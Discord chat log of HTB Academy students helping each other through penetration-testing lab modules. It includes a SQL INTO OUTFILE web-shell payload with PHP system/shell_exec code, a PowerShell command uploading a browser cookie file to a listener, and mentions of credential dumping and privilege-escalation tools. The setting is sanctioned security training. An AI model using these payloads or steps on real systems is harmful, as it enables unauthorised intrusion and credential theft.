modules

[mellow turtle]

.-.

[thorn urchin]

I don't think I ever got the sql route to work on that challenge

[vital adder]

if you upload the with the ||ftp|| it won't run normal php for some reason

i only found out about that route after someone i help tell me the flag said there is multiple way

[solar granite]

Hmm it still doesn't run. I'm writing as ||SELECT "<?php system('powershell d'); ?>" INTO OUTFILE 'C:\CoreFTP\shell7.php';||
And accessing with
||┌──(kali㉿kali)-[~/htb-academy/infra/skills-easy] └─$ curl -k -H "Host: $target" --basic -u user:pass https://10.129.34.95/shell7.php <?php system('powershell d'); ?> ||

[thorn urchin]

yeah my notes unhelpfully end like half way through it.

if its any consolation the rating of the labs are totally wack, easy lab is the hardest, hard lab is medium, and the medium lab is easiest

[thorn urchin]

that path is no good

[vital adder]

oh yeah the lab rating on this module is kinda weird

[mellow turtle]

btw u have to use double \ @solar granite

[solar granite]

I did but discord removed them for some reason

[vital adder]

nope if you upload with sql you don't need to do that a normal <?php echo shell_exec($_GET['cmd']);?> will run just fine

[mellow turtle]

oh

@solar granite dm me user and pass

i didnt note that

[thorn urchin]

my actual redacted notes for the medium lab include being shocked by how easy it was.

[solar granite]

Works now.

I was indeed writing to the wrong directory

<?php system('whoami'); ?> works wonders

[vital adder]

oh yeah i remember that's the stupidly easy and still there are many people dm me about that lab

[thorn urchin]

we all get stuck on some stupid simple stuff occasionally ¯_(ツ)_/¯

[vital adder]

yeah it can run normal cmd but powershell it less buggy for me

[solar granite]

@shy warren check the discussion above, I remember you had the same issue

[shy warren]

mind if i dm you real quick?

[solar granite]

Sure

[mellow turtle]

yeah

i was goiing to say u that xd

[thorn urchin]

also let me guess 90% of the people asking just didnt do that little tiny extra step of due diligence during enumeration lol

[vital adder]

more like 100%

[thorn urchin]

that tracks

[rich vortex]

Literally the first step. Not sure how to start.

[thorn urchin]

Are you following the questions? Theyre pretty helpful guides for the order to do things. Did you skip over the scenario information about a webshell left for us?

[rich vortex]

Tbh I wasn't sure what to do with the webshell

[thorn urchin]

the webshell is our foothold to the network, much like the footholds throughout the module

only real difference is I dont think that one comes prebuilt with attack tools, so you either have to transfer them over or run a proxy

[rich mulch]

Hello @vital adder, please check your personal message. Thanks

[pastel ginkgo]

How can I get grep not to ignore everything past a \ ?

... discord removed it

[thorn urchin]

\

\\

escape the escape

[pastel ginkgo]

ahhh thanks

darn that didnt work still lol

[thorn urchin]

whats your query?

[thorn urchin]

test if code blocks makes things readable with \ or \\

it does

are you sure its

 inlanefreight.local\

[pastel ginkgo]

Yeah results from cat

[rich vortex]

I might be over/under thinking it, but it seems completely alien to everything else in the module. I have no idea what to do.

[pastel ginkgo]

I just want it to filter from my s onward

[thorn urchin]

grep "INLANEFREIGHT.LOCAL\\s*"

add -i if you want to ignore case

[thorn urchin]

I mean just start from step one. Have you connected to the webshell

[pastel ginkgo]

hmmm nope didnt work i'm going to stare at the grep man page for a min

[rich vortex]

No, I wasn't sure how to go about doing that. I don't recall there being anything in the module about file upload vulnerabilities, or webshells for that matter.

[thorn urchin]

The assessment module says the webshell was already left there for us and gives us the information on how to connect

Never forget to read the scoping and scenario information of an engagement 😉

[brisk seal]

i made an account on HTB academy, what modules should i do first?

[thorn urchin]

depends on if you intend to do a path or not

if you do, just follow the path order. If not, Getting Started is great

[rich vortex]

What tool do I use to connect to it?

[thorn urchin]

no tool

its a webshell

point your browser at it

Did you do the shells and payload module yet? or did you just hop straight into this one?

[rich vortex]

Just AD related modules so far. I've checked the IP with the browser. I'll look again in a bit

[thorn urchin]

ah many of the modules are going to presume youre familiar with some general basic level stuff first.

and its not just the IP, the scenario tells you exactly how to connect to the webshell, you need to read it.

[iron basin]

Anyone care providing some guidance on foot printing medium lab? I got two sets of creds, tried to RDP in the box with both sets. One set fails while the other throws an error due to an exclamation being in the password weirdly.

[rich vortex]

Thanks for your help, I'll revisit the assessment after a break and hopefully no more follow up questions

[thorn urchin]

oh dont worry theyll probably be more questions, part 1 is pretty straightforward, but part 2 is definitely the hardest assessment Ive done so far being 60% of the way finished with the CPTS course.

that module sits at the 50% mark of the CPTS course and definitely has big Mid-Boss energy

[pastel ginkgo]

@thorn urchin So the way to do it turned out to be grep -i "^[s]"

[thorn urchin]

well thats certainly one way to do it

[pastel ginkgo]

was driving me nuts I was not about to hand do it xD

[thorn urchin]

I believe thatd match any lines with an S in it I think

[pastel ginkgo]

it matches first characters

[thorn urchin]

which could me more inclusive than you intend depending on your data

[mighty solstice]

hi yall

[thorn urchin]

the exclamation is being interpreted by bash, you need to enclose it in double quotes at the minimum if that doesnt work try to see about not passing the password on the cmd line

[mighty solstice]

just to remind u yall im new here

[thorn urchin]

I dont mean this harshly, but nobody cares. Got a question about the academy or modules ask away.

[mighty solstice]

?

[thorn urchin]

this channel is for the HTB Academy module discussion. If youre looking for advice on a module youre working on you can ask here. You can even ask for s recommended module to start. If you dont have a related question to that, then you should find a more appropriate channel. Being new or not holds no weight or relevance in this channel. Experienced and new alike just sharing information and helping each other grind out modules.

[mellow turtle]

mad bro dont be rude

@thorn urchin

[thorn urchin]

¯_(ツ)_/¯

just saying skip the "im new spiel" and get to learning 🙂

[mellow turtle]

U can tell that softly

[thorn urchin]

why I prefaced with 'I dont mean this harshly' 😉

[mellow turtle]

Yeah saying that u can say all u want

because u prefaced

btw i dont want to discuss

[unique valve]

Welcome. It is good to have you.

[mellow turtle]

u think he left @unique valve

[unique valve]

I dont think so.

[mellow turtle]

yeah he left @unique valve

check common discord servers

[unique valve]

I checked it says HTB is a mutual server.

[mellow turtle]

not for me lol

[unique valve]

Nvm you are right

[mellow turtle]

btw losing the opportunity to learn for just that...

[thorn urchin]

¯_(ツ)_/¯

[neat pine]

What u guys talking about?

[mellow turtle]

nothing special

[neat pine]

Ok

[thorn urchin]

is this about a module 🙂 ?

[neat pine]

Oh sorry

[thorn urchin]

no worries, you can try general chat

[mellow turtle]

@idle cargo

[cobalt bluff]

Hi guys, by seeing the message above I just realised that I did not register with my uni email.
I tried to register with my uni email and it worked. So now I have two account on HTB academy.
And I don't know how to merge the two account (if it's possible).
Does anyone know who I should contact for this ?

Btw I created my HTB academy account like two days ago with my personal email, so it's not a big deal if I can't merge the two account. I'll just do the module that I completed again
||sorry if my English is bad it's not my primary language||

[thorn urchin]

Thats definitely a contact support with the support chat bubble kind of question

[cobalt bluff]

thanks !

[cobalt bluff]

Ok so, by chatting with the bot I saw that I can change the email of my account, so I just deleted the account I created with my Uni email, and then changed my personal email to my Uni email in my main account.
It worked and now I can buy student subscription.

[wide river]

have anyone use parrotOS and have this issue?

[rustic sage]

Hi, got a problem with "Attacking Enterprise Networks". The windows 10 privesc using SysAx no longer works: https://www.exploit-db.com/exploits/50834 It worked like 1 time but then never again, throughout several resets. Even when it worked, I could ad ilfserveradm to the localadmin group but failed to run anything elevated with that user. Help would be greatly appreciated

Tried also print potato and SpoolFool but none worked. There's like 300 patches missing on this machine yet...

[simple grail]

i got sum ones ip how do i boot him 84.17.35.77

[obtuse lantern]

yes, but couldn't find an answer unfortunately

[shell gale]

Hello everyone, im doing the password cracking module, I cant seem to get evil winRM to work and I get the following error message : Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine. I'm working through the PWNbox does anyone know how to get past this error?

[wise nimbus]

Is that the only message? Do you get a connection? That warning just means that you can't tab complete paths on the host you're connecting to.

[rich vortex]

Yeah, in retrospect that other module would have been helpful. 😂

[shell gale]

yes I also get the message- Error: An error of type WinRM::WinRMAuthorizationError happened, message is WinRM::WinRMAuthorizationError

Error: Exiting with code 1

Maybe its that I was supposed to provide a user and password, as im supposed to do this after using crackmapexec, but cme didnt give me anything useful

[wise nimbus]

That does mean that you need credentials. If you'd like to DM me some screenshots of the cme output I can try to help you.

[shell gale]

sure thing, thanks, one second

[rustic sage]

is there anyone who is stuck on web request at the moment

i just started recently

[rustic sage]

Still need help, plz

[thorn urchin]

many people are following the cpts pathway and not near the priv esc modules yet, so you may be waiting awhile

[rustic sage]

k k ... you think it's alright to contact support at HTB? I mean it clearly doesn't work as intended and outlined in the tutorial

[thorn urchin]

possibly, if youre absolutely certain its a module bug you can also try putting it in the erratum channel. Some of the staff look a bit closer at that one.

[rustic sage]

Thanks for you help, @thorn urchin Can't be 100% sure but this privesc is really not difficult and it worked one time, then never again. This is a GUI app, not much potential for mistakes.

[thorn urchin]

np, I wonder if its just an inherently unstable exploit

[rustic sage]

can someone help me with this module pls

sorry if i get annoying

[south aurora]

anyone that can help me with proxychains... I feel like I'm missing some information to the actual settings in msfconsole and what the output is supposed to look like..

[dim wolf]

try using aptitude instead of apt-get

[thorn urchin]

havnt done it yet sorry

[rustic sage]

i havent said what the module is yet

[dim wolf]

i finished it recently, what's up

[thorn urchin]

you said earlier with web requesta

[rustic sage]

ye

[thorn urchin]

maybe I misunderstood

which Module and section?

[rustic sage]

im stuck on post rn

your right

dw

[rustic sage]

Still need help? What's your issue?

[dim wolf]

what's troubling you in the POST section?

[south aurora]

@rustic sage web proxies> proxy tools I'm supposed to use msfconsole to set the settings... but the thing is there is no remote machine in this section so what am I supposed to put for RHOST? and yes its the http_put section.. https://academy.hackthebox.com/module/110/section/1053

[thorn urchin]

oh yeah for that one rhost is still the destination target

[autumn badge]

can i do a ban speedrun?

pls

[thorn urchin]

you still have to have an end target to route through the proxy

[rustic sage]

I'm going to dm you so that it's easier to talk

[thorn urchin]

ask @carmine kiln

[dim wolf]

OK

[autumn badge]

@carmine kiln pss

pls

gonna be quick

[south aurora]

ok so my guess its the domain with the 8080 port setting?

[thorn urchin]

let me double check cause theres like teo questions similar to that and idk which one youre on

okay nah

rhost would be the website youre testing on such as google.com

same with rport

all the proxy info goes into the PROXIES variable

[south aurora]

ok ok ok so I got msf test file

in burpsuite

[thorn urchin]

🙂

spoilers 😉

[south aurora]

Thanks, and TBH I spent an hour trying to figure it out on my own.. coming here was last resort after an hour...

[thorn urchin]

happens

it messed me up a little bit because I recorded the wrong format for setting the proxy in my notes

but that's why the practical section exists

[south aurora]

yeah.. I'm used to putting the remote IP on there vs the domain..

everyday learning something new, thanks guys

[wide river]

not work

[thorn urchin]

pip/pip3/pipx perhaps?

[dim wolf]

you will need to install aptitude

[dim wolf]

does it ask if you are OK with the solution? (when trying to install aptitude)

[wide river]

oh wait, you mean it ask the crackmapexec?

then no, i see nothing

[dim wolf]

hm, i am not sure then

[wide river]

oki thank you

[mighty solstice]

hi

[thorn urchin]

wb

[mighty solstice]

oh well no one is here

ima play some games

[thorn urchin]

reject games grind modules

[loud sapphire]

Google crackmapexec wiki. Go to install instructions. Use the PIPX commands section.

[thorn urchin]

@carmine kiln

[novel matrix]

Thanks. user banned

[thorn urchin]

what would be the odds of getting the modules channel added as one of the channels people have to verify before being able to post from? seems like this channel gets a high target for such spam,trolls, ect and theyre almost always unverified accounts.

[sly tapir]

as soon as you said that, we got one below

[thorn urchin]

Q.e.d

lmao

[iron basin]

Will do, thank you

[supple crest]

Hathor machine, I can't overwrite Bginfo64.exe and reverse the shell, how do I do it?

[thorn urchin]

check the boxes channel, this one is for academy modules

[cunning plume]

Hi, Can I tell my doubts in this channel=

?

[supple crest]

sorry, thank you

[humble geyser]

😄

[vital adder]

here give both of this video a check
https://www.youtube.com/watch?v=0vu_Hs4N8B8
https://www.youtube.com/watch?v=lhz0-qAQlBM

this is a bad advice but if you script don't work try this #modules message

[devout thorn]

Hey guys, can anyone give me a nudge in "Windows Privilege Escalation" module?
I've tried every command in this section "Credential Theft/Other Files" but I can't find "bob_adm" credentials
EDIT: Found it! 🎉
||For anyone struggling with this one, start your search at C:\users\htb-student and include all (*.*) files||

[proud pine]

I'm doing the web proxies module, and I've only ever used burp before this. I rather like ZAP! Is it feature-rich enough to be used in a professional environment, or is burp better?

[golden dust]

hey guys

to active the openvpn

should it be a linux machine?

can i use kali vm?

[dark lodge]

hey guys, i'm doing "Information Gathering - Web Edition" and kind of stuck on "Active Subdomain Enumeration". If anyone if available to give me some help would be appreciate.

[rustic sage]

Hint for people wondering about people struggling on Windows Fundamentals "Which NT Version is installed" since the wording was a bit misleading for me:

||Hint: The answer is specific. E.g. "Windows 4" if the output was 4.xx.xx for the version. Don't overthink it!||

[silver zenith]

Just used sudo: hackerman

Really enjoying secure javascript coding 101

Expensive but good module

[drowsy scaffold]

Hi guys any username wordlist to recommand for the SMTP part of Footprinting module? (https://academy.hackthebox.com/module/112/section/1072)
Currently trying with SecLists/Usernames/Names/names.txt with USR-25 python script but it's incredibly long
Thx

[hollow harness]

How are you tackling the learning in HTB Academy?

• Is it learn in HTB Academy while applying each techniques on HTB Labs
• Or, Finish the whole CPTS/CBBH path and then go with HTB Labs?
  -Or just the HTB Academy alone?

[drowsy scaffold]

You can for exemple do all the web modules then go for a web box, after all AD modules -> AD box

[hollow harness]

Do we have existing list of web box? and other boxes that is related to the module?

[proud pine]

I think most modules give you a few recommended boxes, at the end.

[sly tapir]

thanks! mine was the same, except for my paramter data, I had it written like it was in the request , I didnt keep it like the original template had it... 😮‍💨

[feral stump]

I’m following the paths with the assessments and challenges within the modules and then will switch to boxes

Though I have done some boxes too in the meantime

[hollow harness]

@feral stump may I know how much time do you spend in the academy compare to the time in the boxes?

[feral stump]

Right now much more the academy to boxes

I would say 70% - 30%

Of what I do in HTB

Overall

[hollow harness]

Thanks, just really struggling since I think I'm overwhelming myself with theories in academy and I think I'm losing my grip to practical hacking that can be done in Boxes in labs

[feral stump]

Yeah have kind dame feeling sometimes too

[wide path]

Hello guys, I'm doing the Windows Privilege Escalation module and I have a problem for the section Pillaging: I found the cookies.sqlite file but I have to copy it in my pwnbox to execute a script on it, the problem is how can i get this file on my pwnbox ? I cannot execute python -m http.server 8080 on the RDP Windows session so I'm stuck to get this file

[proud pine]

I think the last module of the CPTS path is a fully simulated pentest, so it makes more sense to me to finish up all the modules, before going back to doing boxes.

[hollow harness]

good to know that I am not alone haha

[feral stump]

In the end with the knowledge of the academy I m kind of sure retaking boxes will be a matter of riding the bike with more skills … that’s the way I see it

[hollow harness]

Definitely, I was thinking the same but kind of doubting. But yeah, I will let you know once I finished a path and let's see if it makes me really better in solving boxes. Thanks!

[feral stump]

Thank you too buddy !! Will let you know too

[vital adder]

ask that at #boxes if you can't find that channel use ++verify at #bot-commands

[vital adder]

about to say you can use updog for that

[woeful lily]

hello

[wide path]

I can't because it results in a 405 status code when i try to upload from windows to the box

[vital adder]

wait how did you get Method Not Allowed? did you powershell curl or something?

[wide path]

I use this:

Invoke-RestMethod -Uri http://10.10.14.226:8080/ -Method Post -InFile C:\Users\Grace\cookies.sqlite -UseDefaultCredentials

[vital adder]

also check the updog output or status when you upload a file (through a browser) it should show that you are uploading the to to /upload

[vital adder]

yeah i'm trying powershell stuff with updog right now nothing seem to work (also you need to add /upload to the url)

on linux curl with updog will work fine

[wide path]

Do you know how to get this file (cookies.sqlite) into the box ?

[vital adder]

go to your updog ip in a browser and upload from there

[wide path]

How do I do that ?

[vital adder]

i can't remember which browser but there should be chrome installed or something use that

[wide path]

yeah but how am i supposed to upload a file with chrome to my box ?

[vital adder]

with updog

[quasi moth]

Hi, I'm real stuck at sqlmap essentials skills assessment. I found attack vector, but I can't find right options. Could you help me in dm please?

[vital adder]

sure shoot me a dm with your sqlmap command

[wide path]

I found a better way to transfer file: I use the +home-drive option with xfreerdp and the /home directory is mounted in Windows so I can copy easily the files, thanks for your help btw

[vital adder]

oh yea i forgot you can do that with xfreerdp

usually i just use updog or metasploit if i don't have rdp

[drowsy sedge]

Hello im stuck on skill assesment hashcat

the last question

any help please?

[lucid bloom]

how to scan docker hosts with nmap - nmap says scanned 0 hosts

[vital adder]

sure what's the issue?

[vital adder]

no idea why nmap said 0 hosts but if you mean the target machine docker then you can't scan it

[drowsy sedge]

i dont know how to start

[lucid bloom]

but how to get the open ports then?

[drowsy sedge]

cracking all hashes by sure , but i get something like "...exhausted"

[vital adder]

if it is a docker host (it should have public ip) it should give you the only port you can access if it isn't then you can scan it just fine

[lucid bloom]

ohhhhhhhhh

[vital adder]

for this you don't need to crack 100% of the hash

[lucid bloom]

i am so dumm

[wide path]

Hey guys, I have the admin hash for the last question of the Pillaging section but it won't take it no matter what format I put it in. Can someone help me pls ?

[devout thorn]

Same here 😅

[devout thorn]

||Grabbed both SAM & SYSTEM files from 2 different backups, not accepted||
||Used password found in web.config file in another backup, not accepted||

[vital adder]

the admin hash started with ||bac|| and end with ||f26||

if you got the right hash but it still show wrong answer try refresh the page or a hard refresh with ctrl + shift + R

[devout thorn]

||You've found it by dumping SAM & SYTEM files, right?||

[vital adder]

yep

oh wait

this is just htb beginning evil hint ||try to Restore all of the backup||

[wide path]

Ok I found it, @devout thorn try every backup, there are only three and you'll find the hash which begins with ||bac||

[wide path]

thanks

[devout thorn]

||There are 3 backups, 2 of them contain SAM & SYSTEM files||
||When I'm using samdump2 on these files, I don't have this hash beginning with bac||

Did I miss something? 😅

[vital adder]

oh wait what command did you use?

also that look corrupted

[devout thorn]

Lucky me ^^

[vital adder]

all hash from both file are the same

[devout thorn]

||restore backups||
||Copy SAM & SYSTEM files to local machine||
|| sam2dump them into a file & john on final file||

[vital adder]

oh try impacket-secretsdump

[devout thorn]

I'll try again

[vital adder]

also remove the first line (too much spoiler)

[vital adder]

if that still show you the same hash then i think the file is corrupted if that's the case try download a new one

[mellow turtle]

ACTIVE DIRECTORY ENUMERATION & ATTACKS / Bleeding Edge Vulnerabilities

PrintNightmare attack

I dont know why this is not working

[vital adder]

haven't done that module of tcm have a video on that vuln if it's just normal printnightmare give that video a check

[mellow turtle]

who is tcm O.o

[vital adder]

the guy make the video that i always link to people new to this

[vital adder]

also here https://www.youtube.com/watch?v=awQjEm0etO0

[mellow turtle]

ill watch the video ty tom :3

[vital adder]

everything look right here but you should get a call back on this

[vital adder]

the second ip (the one end with .255) should be your pwnbox ip and you are making / hosting the dll file in a directory named ws but in this command you are trying to access that file in a different and the wrong ip (that doesn't look like pwnbox ip ) haven't done the module anyone see this just follow the video

[mellow turtle]

its not that

its an attack host in an AD network

thats not the pwnbox

[vital adder]

oh

[mellow turtle]

and i solved it following the video

i just changed how i start the smbserver

[devout thorn]

Same issue, resetting the VM

[mellow turtle]

to this

[vital adder]

it's more about the files but try everything you can

[vital adder]

yep i forgot about that

[mellow turtle]

im dumb yes 🙂

xD

[pastel ginkgo]

For https://academy.hackthebox.com/module/143/section/1274 How did yall find the Sap Services group membership? Because || I couldn't login with the SapService user password so I had to WinRm as the sql user mentioned then do net user /domain SapService to get the answer. ||

Feel like I went about getting the answer in a werid way after I got the users account password that couldn't authenticate to squat.

[wide path]

I used mimikatz to get the hashes

[vital adder]

oh wait what?

so the ||sam|| and ||system|| file in ||the backup|| is the same one being used on the target machine

[iron basin]

Howdy, anyone mind nudging me the right way on the footprinting medium lab module? I got ||both set of creds and I can RDP in, but not sure how to access the SQL as the creds I have don’t work.||

[iron basin]

Never mind I got it!

[rustic sage]

Can someone help me

I can’t send images here but it’s about figuring out specs

[thorn urchin]

@winged hedge twice this dudes spammed this channel with his scam

[woeful lily]

Hi

[brazen apex]

Hey has anyone done the password attacks module?

[chilly slate]

is there anyone to consult Broken Authentication - Predictable Reset Token exercise? I have probably good script, but can't guess it in the end...

[brazen apex]

I'm just curious am I expected to remember most of the windows authentication process?

[sly tapir]

i just finished it

do you want me to dm you the script i have?

[brazen dust]

Hello everyone, I am on the module Information Gathering - Virtual Hosts, the problem I am having with the lab portion is that I am getting false positives on the enumeration of the vhosts. I have the first two flags but coming up short on the other 3 because I am not getting good names for the vhosts. Can someone point me in the right direction because I am stuck at this point

[forest tapir]

not necessarily.

not to crack passwords

[brazen apex]

I guess im trying to ask should I study it?

I usually make very comprehensive notes of modules

windows authentication is a very bulky process

[forest tapir]

I just remember the main parts. WinLogon, lsassl and SAM/Kerberos.

Comprehensive notes are good tho.

It never hurts...

[nimble idol]

I'm using Responder.py and it doesn't seem to work. I'm using my IP in the http URL. http://unika.htb/?page=//192.168.4.25/whatever

unless I need to use the IP from whatismyip ?

[forest tapir]

I've never heard of using fqdn's with responder but I might be wrong.

I'm not an expert. Maybe someone knows better.

[nimble idol]

hmm its on one of the starter tutorials called responder

it doesn't seem to get the AUTH hash

[forest tapir]

are you getting any traffic at all?

[nimble idol]

starting point -> tier 1 -> Responder

no nothing seems odd

listening on eth0

[forest tapir]

tthis looks like remote file inclusion or something.

[nimble idol]

yea

[forest tapir]

i don't think you can pivot like that with responder. It's supposed to be used with local machines.

"local"

big air quotes of course..

I haven't been in Starting Point for a while. someone might know better than me..

[pastel ginkgo]

You'll probably find more help in the Starting point channel

[nimble idol]

oh I didnt see that channel oops

hmm I don't see it

[brazen apex]

Hey guys working on the Password Attacks module can someone point me in the direction where I can find more wordlists

for users and passwords

[forest tapir]

which part?

[pastel ginkgo]

might need to link htb to your discord

[brazen apex]

Network services

On the first section you answer questions in

[forest tapir]

Scroll to the top and look for resources 😁

There's a downloadable wordlist

[brazen apex]

Oh I must have missed that

[nimble idol]

not sure how that works I don't see that group

[forest tapir]

So did I lmao

[brazen apex]

ahhh well I use the docker container

ill figure it out

thanks

for the help

[forest tapir]

You might need to verify.

On Discord.

[nimble idol]

oh

[forest tapir]

maybe, i dunno

[brazen apex]

I think you do

I still havent linked my account

I cannot see or access any of the main HTB stuff

only academy

[forest tapir]

then for sure heh..

should do that..

[brazen apex]

but then everyone will see im noooooob!!!!

[forest tapir]

[nimble idol]

ok got it

[forest tapir]

On that note, I have SMB access but no permission to view anything..

On the same module.

Password-Attacks: Network Services

[silver pagoda]

Hi guys, Im doing the Password-Attacks: Network Services
I manage to identity the correct user to log in into RDP.
However, when i try to login using xfreerdp or remmina im unable to
Is there something im missing? Any suggestions would be more then welcome

[forest tapir]

I keep getting kicked off/connection problems. It may be my internet but it's not working out for me regardless.

Lots of timeouts

yeah man, i'm just frusturated with this. I think it's my internet.

[nimble idol]

how do you figure out what your own machine's IP is on a VPN network?

[sly tapir]

Decodify is pretty legit

[pastel ginkgo]

ifconfig / ipconfig see if their is a tunnel interface, you could still be running via a vpn but thats probably beyond the depth that I can explain in text chat

[tidal mango]

Can anyone help me out on the Active Directory module?... ACL enumeration, the last question. I am either not understanding it right or not finding the answer. When I try to run the commands in the module the box mainly just hangs and doesn't return a response. The question is: What is the ObjectAceType of the first right that the forend user has over the GPO Management group?

[fresh reef]

I'm struggling too on host 1 Im feeling like im missing something... non of my payloads are landing

[nimble idol]

oh dang I was supposed to use tun0 and not eth0

that cleared it up

[fresh reef]

Literally me

[sturdy kite]

Is there a section walkthrough on setting up VM for MacOS?

[sturdy kite]

Went through this module (https://academy.hackthebox.com/module/details/87) and only saw sections for Windows and Linux

[sly tapir]

not trying to insult you, did you look on the VM site?

i saw something on there before when I installed it on my desktop

[sturdy kite]

I have not actually... I'm sure I could find it, but wanted to see if there was anything on HTB?
Also, curious if HTB recommends NOT using Mac?

[sly tapir]

good question

[sturdy kite]

I learned that there are NO "good" or "bad" questions, FYI 😉

[tidal mango]

I don't think I have seen anything for a Mac specifically, but you should be able to use VMware or virtual box on OSx

[tidal mango]

Or... Just blast OSX off and run Asahi Linux 🙂

[sturdy kite]

haha no thanks, i prefer OSX, i mostly do software development, and OSX is king for that IMO

[tidal mango]

Makes sense, Asahi isn't ready for prime time yet anyway. I am all Linux aside from when work forces me to use Windows or BSD, but I am not a Dev at all!

[sturdy kite]

also, it sounds like using VMs is a necessary evil for pen testing, in order to allow for easy spin-up/tear-down of different envs, etc

[tidal mango]

Absolutely! I ran kali on bare metal at the beginning, but its not a wise thing to do... I use both Proxmox for VMs and KVM locally on my linux machine. For HTB I pretty much always use a Kali VM on my local linux machine anymore. Parrot is pretty cool as well but I am way more use to Kali at this point.

[sturdy kite]

nice! sounds fancy haha
im trying to get by with just pwnbox for the time being, until im forced to create my own setup 😅

[tidal mango]

Just bite the bullet and learn the VMs. It will help you in the long run, IMO, I can't stand the PWNbox. Plus if you doing Dev work... VMs are great place to test.

[sturdy kite]

true, i know i will do it sooner than later
its my first dat on HTB though, so i have some time

[tidal mango]

VirutalBox would by my recommendation, in my little playing with OSX it worked great and its pretty much the same if you use it on Linux or Windows

[sturdy kite]

sweet! yeah i think thats what i worked with in the past

do you know the different between virtualbox and vagrant?

i guess my main questions is: what is vagrant? lol

[tidal mango]

I'm no expert on this... but I believe vagrant is a tool to build Virtual Environments, vs something like VirtualBox which is a tool to run virtual machines.

[fathom mango]

mani thanks my friend, i was stuck for two days on this😎

[rustic sage]

Im doing lfi file inclusion prevention
Im having some trouble finding the php.ini file in file inclusion prevention

someone please help me out

or give me some hints

[wide river]

#module: Password Attack
#section: Network Service
#Question:Find the user for the RDP service and crack their password. Then, when you log in, you will find the flag in a file there. Submit the flag you found as the answer.

I cannot use xfreerdp to connect to the machine even tho i already have username and password, what should i do

[hollow hinge]

Dm if you still need help

[ripe terrace]

I'm on the INTRODUCTION TO BASH SCRIPTING module -> Comparison Operators. I can't tell if this is poorly written or I'm misunderstanding the question. Where does the Else fit into the equation?

Create an "If-Else" condition in the "For"-Loop that checks if the variable named "var" contains the contents of the variable named "value". Additionally, the variable "var" must contain more than 113,450 characters. If these conditions are met, the script must then print the last 20 characters of the variable "var". Submit these last 20 characters as the answer.

[placid quest]

@wide river try rdesktop

[wide river]

my command is||rdesktop -u john -p november||and this is what happen

[placid quest]

@wide river so u need to first enable rdp

[wide river]

like this ? ||sudo systemctl start xrdp.service||

[placid quest]

@wide river no

[wide river]

what command should i use to enable it?

[placid quest]

@wide river read in the section about how to enable rdp

[wide river]

doing it, im using archlinux so it might a little different

[simple zephyr]

This is why I stick to Kali or the pwnbox for certifications. Stuff is vetted to work and you can focus on studying Vice troubleshooting, but to each their own. I wouldn’t want to be fiddling around with stuff during the exam.

[loud pagoda]

I use a VM for my hacking. With a decent computer now a days it’s possible to hack on any host OS.

I’ve got a question: dig url -t NS cannot reach the domain even though I added the up and domain to my /etc/hosts file.

It only works if I add the IP like: dig url @rustic sage -t NS

I can’t transfer the domain to the name server on the module

[simple zephyr]

Yeah I don’t like to run bare metal it’s a pain to clean up after when I can just revert back a snap shot after a box. I like to revert back after every CTF to ensure if I installed anything to test its gone.

[loud pagoda]

Is there another file on Linux I must edit to allow this to work?

[placid quest]

@wide river use evil-winrm to enable the rdp

[vital adder]

this is right 90% of the time but some time the pwnbox suck ass before it was the crackmapexec constantly having issue and now (for me) i have been troubleshooting bloodhound on the pwnbox for like 3-4 day now and turn out the issue is the Fing java version is wrong

[wide river]

now that's think outside the box, thank you so much

[sly tapir]

Broken Authentication/Brute Forcing Cookies/Question #2 Log in to the target application and tamper the rememberme token to give yourself super user privileges. After escalating privileges, submit the flag as your answer. I have tried all the roles I can think of and cant get this thing...any other hints?

[vital adder]

if you are doing the info gathering module then all of the subdomain ip is dead you can only dump the dns record so watchout for that

[vital adder]

i think you got false positive also pls remove those cred those are valid ||just for different service|| and i don't have any note on any issue with any so you should be able to use something like remmina to rdp in

[vital adder]

hint the role is in the question

[loud pagoda]

I am on that module. I can’t get the txt record cause the only way I can reach the domain is by adding the box IP at the end of the command ex: dig url IP -t NS

[wide river]

holycow, the boss show up and rescue the whole gang XD

[loud pagoda]

When I try to do the zone transfer the command won’t work

[vital adder]

i think this is what you are supposed to do (the ip at the end thing)

[vital adder]

this is a bit too much spoiler shoot me a dm with your dns zone transfer command

[loud pagoda]

Rgr, thanks. I’ll hit you up.

[vital adder]

yeah i think that's is poorly written i didn't notice that but for this all i use is ||1 if || statement

[placid quest]

@wide river no problem

[wide path]

Hello guys, I struggle with the Windows Privilege Escalation Assessment part 1 question 2 to find the ldapadmin password. I tried to ||findstr /spin "ldapadmin" *.*|| but can't get the password, can someone help me pls ?

[vital adder]

hint that's the right command but you need to PrivEsc first before you can get the cred

[wide path]

The command didn't work i used ||lazagne.exe||

[rustic sage]

On the Active Directory / Privileged Access, i can't RDP to the box somehow. Both with remmina or xfreerdp (with and without password). Is it just me? This is so frustrating

Active Directory / Bleeding Edge Vulnerabilities, there is a problem to connect to the box with user forend. Works with htb-student though

[pastel ginkgo]

For AD Enumeration, for the life of me I cant get the Ace Object type for the user forend for GPO management. I can literally see what it is in bloodhound but for what ever reason htb is saying thats not the right answer and its driving me nuts e.e

I've tried running the || Get-DomainObjectACL -ResolveGUIDs -Identity * | ? {$.SecurityIdentifier -eq $sid} -Verbose || cmd but its been running now for 15 mins and its still running .__.

[thorn urchin]

yup the bloodhound answer isnt what its looking for and indeed that other command takes a long time to run. I think it was like 25-30mins for me. Just gotta be more patient sadly.

[pastel ginkgo]

god dmaet let me reset the box then i killed it thinking it broke or something like 5 times now and I only have like 20 mins left x)

[pastel ginkgo]

Finally got it, took a min almost done with the next page.

So why exactly do we need to change the SPN on the targeted user to Kerberoast them?

[thorn urchin]

we dont need to change the spn, they need to HAVE a spn. If they dont hsve a spn you have to add one.

[pastel ginkgo]

So if I understand correctly, its to tie to a "service" hence why the "machine" is going to Kerberos to request a tgs ?

Since under normal operations it just wouldnt be going to the Kerberos service for no reason at all, its to tie it to "something"?

[raven cairn]

https://youtu.be/-3MxoxdzFNI
I found this video to be really helpful for understanding kerberoasting

[pastel ginkgo]

Great video

[solar granite]

This is probably really simple, but for attacking common services - hard lab, how do I run a multi-line SQL query with impacket-mssqlclient? I found credentials for a user, I know what to do, but I can't for the life of me get the multi-line query to work, as it executes every line as I write them.
Edit: connected as impacket-mssqlclient -p PORT -windows-auth USER:'PASS'@IP

Edit: it was indeed really simple. Just run the whole query as a single command, with no newlines

[storm jackal]

what query are you trying to run

for some commands on that module i just ran them one at a time

[solar granite]

The whole query is probably a spoiler, but it's a big ||SELECT ... FROM ... INNER JOIN ... ON ... WHERE ...||

[thorn urchin]

idk something like that was never necessary for me in that lab

[storm jackal]

